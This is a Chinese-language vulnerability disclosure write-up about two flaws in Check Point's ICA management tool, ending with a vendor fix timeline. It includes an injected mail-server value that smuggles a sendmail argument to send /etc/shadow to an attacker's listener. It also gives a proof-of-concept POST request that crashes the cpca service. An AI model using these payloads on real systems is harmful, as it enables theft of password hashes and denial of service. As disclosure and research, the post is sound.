0x01 漏洞背景
今天,我们将分析Check Point安全管理模块中的ICA管理工具组件里发现的多个漏洞。
ICA 管理工具是管理用户证书的模块,有以下几方面内容:
- 运行搜索
- 重新创建CRLs
- 配置ICA
- 删除过期的证书
默认情况下此服务是关闭的,需要使用内置实用程序cpca_client去开启服务。可以使用下面指令开启
cpca_client set_mgmt_tool on -no_ssl
需要注意的是:如果运行该命令,那么在匿名条件下可以访问该服务,所以建议仅使用SSL运行此服务。开启ssl需要执行以下命令
cpca_client set_mgmt_tool on -u [预先生成的证书]
在启用该组件之后,ICA管理工具可通过http:// <smartcenter_ip>:18265 /
链接访问其web页面, 但在本文的研究环境中选择在不使用SSL的情况下启动该组件。
在分析ICA管理工具期间,我们发现了两个漏洞,详情如下。
0x02 参数注入
第一个漏洞类似于命令注入,攻击者可以在给目标应用程序传递参数时插入自定义命令。在研究环境中,我们可以向内部系统命令注入自定义参数并且成功执行。
Web接口最好用的功能之一是能够向用户发送有关证书初始化的通知,同时保留了修改电子邮件信息的能力,比如发件人,收件人,主题,邮件服务器地址等。最初试图将shell命令作为参数注入到邮件服务器地址参数中,比如在输入不正确的情况下利用错误的” ping”命令,但是很快就确定该命令不能当作/bin/sh命令执行。
下一步是找到并研究邮件发送的过程。该服务监听在18265上,根据端口和进程之间的关系查询可以大概确定进程名为”cpca”。通过简单的字符串搜索确定了该程序与与sendmail进行了交互,并证实了是我们的需要研究的目标。cpca二进制文件包含字符串” send_mail_file.txt”,这意味着它具有发送附件的功能。必须深入了解sendmail的命令行参数才能构造相对应的注入字符串。更多细节查看sendmail查询手册。
sendmail [-t server] [ [-m filename] | [-s subject] [-f from] email-address]
即使这样,也无法推导已执行的命令中参数的顺序,因此必须采用其他利用方式。将sendmail的命令行参数成功添加在Web界面的参数中:通过日志记录可以确认,在参数注入时指定的服务器文件已发送到攻击者控制的邮件服务器。如果从一开始就分析这里可能会更有效。
要利用此漏洞,使用nc监听本地25端口(使用本地端口检查漏洞,因为测试网络不允许我们向外部网络发送请求)。 然后,在配置CA时,将”管理工具邮件服务器”的值更改为” 127.0.0.1 -m /etc/shadow%0a%0a”。 修改时注意,”\n\n”(不带引号)应出现在字段的末尾。
然后,我们发出一个触发电子邮件发送的请求。 certs参数包含状态为”待定”的证书ID。
如下图所示/etc/shadow的内容已发送到nc监听的25端口。
0x03 拒绝服务
拒绝服务漏洞是由于无法验证输入数据而引起的。如果远程客户端发送了特殊的POST请求,该请求的主体以意外的方式格式化,则这将导致程序意外关闭。
我们生成了以下POST请求作为poc:
POST /file_init?_ HTTP/1.1
Host: checkpoint.host:18265
Cookie: _
Content-Length: 1
q
cpca crashed after receiving this request.
收到此请求后,cpca直接崩溃。
0x04 时间线
- 2020年3月16日-向供应商报告了漏洞
- 2020年3月17日-供应商做出回应
- 2020年3月18日-供应商开始进行修复
- 2020年6月4日-修复了漏洞
- 2020年9月24日- 分配得到CVE